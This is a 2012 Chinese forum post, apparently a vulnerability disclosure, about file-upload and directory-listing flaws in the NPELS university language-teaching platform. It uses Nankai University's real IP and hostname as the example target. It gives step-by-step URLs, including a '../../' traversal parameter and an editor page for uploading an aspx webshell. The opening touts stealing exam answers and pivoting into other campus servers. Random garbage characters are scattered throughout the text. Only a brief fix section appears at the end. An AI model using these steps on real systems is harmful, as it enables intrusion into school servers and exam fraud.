找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2668|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中# Z3 x8 }! k/ S* y4 r: g

$ `$ _, v3 G0 `8 ?详细说明:
7 ~+ N: d7 Y/ s" ~- ~* X* ~3 V , o, w4 z3 B& O) j" ~9 V. ?5 V
以南开大学的为例:
/ f. Q+ ]' ?9 m( e7 Q- U' ihttp://222.30.60.3/NPELS8 e6 g1 Y5 a: o
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
4 v/ b2 A5 F! V7 u9 n<setting name="Update_CommonSvr_CommonService" serializeAs="String">
: ?# N+ Z5 W% t9 g<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
3 }) @: {: C% D4 _8 G</setting>/ Z# _* F" Z- I% ?$ U* `3 G2 R
及版本号$ B+ \* f1 l! M; ]6 y
<add key="TVersion" value="1, 0, 0, 2187">; r+ V5 V6 @% T* {$ ?
</add>
$ C6 f- r- k# g$ g* b7 g; S直接访问! O6 s5 U) d; e  ?4 _9 ^
http://222.30.60.3/NPELS/CommonService.asmx
$ P+ [0 U' g" c4 ~  z使用GetTestClientFileList操作,直接 HTTP GET 列目录:
, N- {6 F7 g3 D( H8 z  l; {- S  Thttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
" y9 p% j* J" C进一步列目录(返回的网页很大,可以直接 wget 下来)( J3 k" ^1 ]  [" H* B" M
http://222.30.60.3/NPELS/CommonS ... List?version=../../$ m# L+ ]" t% J/ E* `- j

  O0 t# d0 |0 X+ |, Q& @& }发现
5 G# a3 Y* d) M6 Q' R9 j2 nhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm2 A( K: f3 s, i/ [2 r
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头$ X3 D6 M5 [+ A/ T
上传后继续列目录找到木马地址直接访问即可
2 @3 e' T- r6 |* g- f" e6 x
0 t$ W' R. z1 A( t4 vOOXX* `7 a0 n) b/ d7 I3 M3 Z

5 ^$ ?3 l* `4 I2 a" w, H4 uGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法, V2 N( G+ F+ {
漏洞证明:
* p2 |1 ]3 j/ f1 V 4 Z& T5 z* ^  r. [4 [9 p* u
列目录:
% [5 `( u* h# w' a  x9 L7 |: T& |1 Nhttp://222.30.60.3/NPELS/CommonS ... List?version=../../& C, R4 P* n: u6 F
文件上传:% l" p- r+ _8 I+ M
http://222.30.60.3/npelsv/editor/editor.htm
1 d. B5 R9 w: ]5 I  J : c- t) E; J% {  P& q. p
上传木马:* V0 X+ ?& S, A( k- k& K
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
# Q4 }0 k- j5 d2 W0 F
3 B+ }' q- C+ |5 v( \+ k修复方案:. }8 l8 L2 N" W: e2 ]+ d
好像考试系统必须使用 CommonService.asmx7 @# M$ X9 ]* P1 ^
最好配置文件加密或者用别的方式不让它泄露出来6 s/ f  G! i# J1 L# h: U
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​9 V1 J2 z% f+ E1 y$ t' X- v$ y9 Q- E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表